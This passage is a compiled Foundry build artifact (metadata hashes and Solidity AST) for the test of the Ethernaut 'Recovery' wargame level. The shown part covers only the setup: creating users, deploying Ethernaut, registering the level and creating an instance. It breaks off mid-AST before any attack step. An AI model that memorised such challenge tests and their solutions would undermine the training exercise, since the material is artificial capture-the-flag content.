mWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Recovery.sol":{"keccak256":"0x3c66a08eadebb91b03f62f67db4728f821eba9fc46bbcc4206dda6af75d4ecee","urls":["bzz-raw://db1efcadfb9427c8800766b9f668f5df87963fcf60316937774eceaa4f2cd6ce","dweb:/ipfs/QmdARiDCKNG5dThGnPQEXryESS4jPGFCXJvbAgyZcJr2DQ"],"license":"MIT"},"src/levels/RecoveryFactory.sol":{"keccak256":"0x2811cd78c749d47dc364dbbf0324d987a4ea8ea5eabc47564f52b07587427b83","urls":["bzz-raw://2fa17b4293552ad3e1b1596e0face580d6cdd93e037fc57421f34b2ed0c7d4e0","dweb:/ipfs/QmQs7Ty1p4HU7Zpo3bRy5vPWKT6QLohgeeapT7wwNpX1Q9"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Recovery.t.sol":{"keccak256":"0xb4b1b181040c37855a325aea055f08c2eb0c8cba42f6ea7f5eab9c799f79c154","urls":["bzz-raw://af60a86a90bb1845bbcf0c702884c6fb3391cf10ff3a782505ba6c9ca950bdaa","dweb:/ipfs/QmTPSkapBFnmAsEXU5uMagN6FvU8frDYJkmNj94bJwd7YU"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Recovery.t.sol","id":63906,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"Recovery":[54732],"RecoveryFactory":[54947],"SimpleToken":[54818],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestRecovery":[63905],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2152:144","nodes":[{"id":63690,"nodeType":"PragmaDirective","src":"32:23:144","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":63691,"nodeType":"ImportDirective","src":"57:28:144","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":63906,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":63693,"nodeType":"ImportDirective","src":"86:43:144","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":63906,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":63692,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:144","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63696,"nodeType":"ImportDirective","src":"131:62:144","nodes":[],"absolutePath":"src/levels/Recovery.sol","file":"src/levels/Recovery.sol","nameLocation":"-1:-1:-1","scope":63906,"sourceUnit":54819,"symbolAliases":[{"foreign":{"id":63694,"name":"Recovery","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54732,"src":"139:8:144","typeDescriptions":{}},"nameLocation":"-1:-1:-1"},{"foreign":{"id":63695,"name":"SimpleToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54818,"src":"149:11:144","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63698,"nodeType":"ImportDirective","src":"194:63:144","nodes":[],"absolutePath":"src/levels/RecoveryFactory.sol","file":"src/levels/RecoveryFactory.sol","nameLocation":"-1:-1:-1","scope":63906,"sourceUnit":54948,"symbolAliases":[{"foreign":{"id":63697,"name":"RecoveryFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54947,"src":"202:15:144","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63700,"nodeType":"ImportDirective","src":"258:48:144","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":63906,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":63699,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"266:5:144","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63702,"nodeType":"ImportDirective","src":"307:44:144","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":63906,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":63701,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"315:9:144","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":63905,"nodeType":"ContractDefinition","src":"353:1830:144","nodes":[{"id":63709,"nodeType":"VariableDeclaration","src":"396:19:144","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"406:9:144","scope":63905,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":63708,"nodeType":"UserDefinedTypeName","pathNode":{"id":63707,"name":"Ethernaut","nameLocations":["396:9:144"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"396:9:144"},"referencedDeclaration":49101,"src":"396:9:144","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":63712,"nodeType":"VariableDeclaration","src":"421:17:144","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"430:8:144","scope":63905,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"},"typeName":{"id":63711,"nodeType":"UserDefinedTypeName","pathNode":{"id":63710,"name":"Recovery","nameLocations":["421:8:144"],"nodeType":"IdentifierPath","referencedDeclaration":54732,"src":"421:8:144"},"referencedDeclaration":54732,"src":"421:8:144","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}},"visibility":"internal"},{"id":63714,"nodeType":"VariableDeclaration","src":"445:21:144","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"461:5:144","scope":63905,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63713,"name":"address","nodeType":"ElementaryTypeName","src":"445:15:144","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":63716,"nodeType":"VariableDeclaration","src":"472:22:144","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"488:6:144","scope":63905,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":63715,"name":"address","nodeType":"ElementaryTypeName","src":"472:15:144","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":63818,"nodeType":"FunctionDefinition","src":"681:602:144","nodes":[],"body":{"id":63817,"nodeType":"Block","src":"705:578:144","nodes":[],"statements":[{"assignments":[63721],"declarations":[{"constant":false,"id":63721,"mutability":"mutable","name":"users","nameLocation":"740:5:144","nodeType":"VariableDeclaration","scope":63817,"src":"715:30:144","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":63719,"name":"address","nodeType":"ElementaryTypeName","src":"715:15:144","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63720,"nodeType":"ArrayTypeName","src":"715:17:144","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":63725,"initialValue":{"arguments":[{"hexValue":"32","id":63723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"760:1:144","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":63722,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"748:11:144","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":63724,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"748:14:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"715:47:144"},{"expression":{"id":63730,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63726,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63714,"src":"773:5:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63727,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63721,"src":"781:5:144","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63729,"indexExpression":{"hexValue":"30","id":63728,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"787:1:144","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"781:8:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"773:16:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63731,"nodeType":"ExpressionStatement","src":"773:16:144"},{"expression":{"arguments":[{"id":63735,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63714,"src":"808:5:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":63736,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"815:7:144","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":63732,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"799:2:144","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63734,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"802:5:144","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"799:8:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"799:24:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63738,"nodeType":"ExpressionStatement","src":"799:24:144"},{"expression":{"id":63743,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63739,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63716,"src":"834:6:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":63740,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63721,"src":"843:5:144","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":63742,"indexExpression":{"hexValue":"31","id":63741,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"849:1:144","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"843:8:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"834:17:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":63744,"nodeType":"ExpressionStatement","src":"834:17:144"},{"expression":{"arguments":[{"id":63748,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63716,"src":"870:6:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":63749,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"878:8:144","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":63745,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"861:2:144","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63747,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"864:5:144","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"861:8:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":63750,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"861:26:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63751,"nodeType":"ExpressionStatement","src":"861:26:144"},{"expression":{"arguments":[{"id":63755,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63714,"src":"912:5:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63752,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"898:2:144","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63754,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"901:10:144","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"898:13:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63756,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"898:20:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63757,"nodeType":"ExpressionStatement","src":"898:20:144"},{"expression":{"id":63762,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63758,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63709,"src":"928:9:144","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":63760,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63714,"src":"967:5:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":63759,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"940:26:144","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":63761,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"940:33:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"928:45:144","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63763,"nodeType":"ExpressionStatement","src":"928:45:144"},{"assignments":[63766],"declarations":[{"constant":false,"id":63766,"mutability":"mutable","name":"factory","nameLocation":"999:7:144","nodeType":"VariableDeclaration","scope":63817,"src":"983:23:144","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_RecoveryFactory_$54947","typeString":"contract RecoveryFactory"},"typeName":{"id":63765,"nodeType":"UserDefinedTypeName","pathNode":{"id":63764,"name":"RecoveryFactory","nameLocations":["983:15:144"],"nodeType":"IdentifierPath","referencedDeclaration":54947,"src":"983:15:144"},"referencedDeclaration":54947,"src":"983:15:144","typeDescriptions":{"typeIdentifier":"t_contract$_RecoveryFactory_$54947","typeString":"contract RecoveryFactory"}},"visibility":"internal"}],"id":63771,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":63769,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1009:19:144","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_RecoveryFactory_$54947_$","typeString":"function () returns (contract RecoveryFactory)"},"typeName":{"id":63768,"nodeType":"UserDefinedTypeName","pathNode":{"id":63767,"name":"RecoveryFactory","nameLocations":["1013:15:144"],"nodeType":"IdentifierPath","referencedDeclaration":54947,"src":"1013:15:144"},"referencedDeclaration":54947,"src":"1013:15:144","typeDescriptions":{"typeIdentifier":"t_contract$_RecoveryFactory_$54947","typeString":"contract RecoveryFactory"}}},"id":63770,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1009:21:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_RecoveryFactory_$54947","typeString":"contract RecoveryFactory"}},"nodeType":"VariableDeclarationStatement","src":"983:47:144"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":63778,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63766,"src":"1078:7:144","typeDescriptions":{"typeIdentifier":"t_contract$_RecoveryFactory_$54947","typeString":"contract RecoveryFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_RecoveryFactory_$54947","typeString":"contract RecoveryFactory"}],"id":63777,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1070:7:144","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":63776,"name":"address","nodeType":"ElementaryTypeName","src":"1070:7:144","typeDescriptions":{}}},"id":63779,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1070:16:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":63775,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1064:5:144","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":63780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1064:23:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":63772,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63709,"src":"1040:9:144","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":63774,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1050:13:144","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1040:23:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":63781,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1040:48:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63782,"nodeType":"ExpressionStatement","src":"1040:48:144"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":63783,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1098:2:144","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63785,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1101:9:144","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1098:12:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":63786,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1098:14:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63787,"nodeType":"ExpressionStatement","src":"1098:14:144"},{"expression":{"arguments":[{"id":63791,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63716,"src":"1137:6:144","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":63788,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1123:2:144","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":63790,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1126:10:144","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1123:13:144","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":63792,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1123:21:144","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":63793,"nodeType":"ExpressionStatement","src":"1123:21:144"},{"expression":{"id":63810,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":63794,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63712,"src":"1154:8:144","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":63799,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63709,"src":"1202:9:144","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":63803,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":63766,"src":"1227:7:144","typeDescriptions":{"typeIdentifier":"t_contract$_RecoveryFactory_$54947","typeString":"contract RecoveryFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_RecoveryFactory_$54947","typeString":"contract 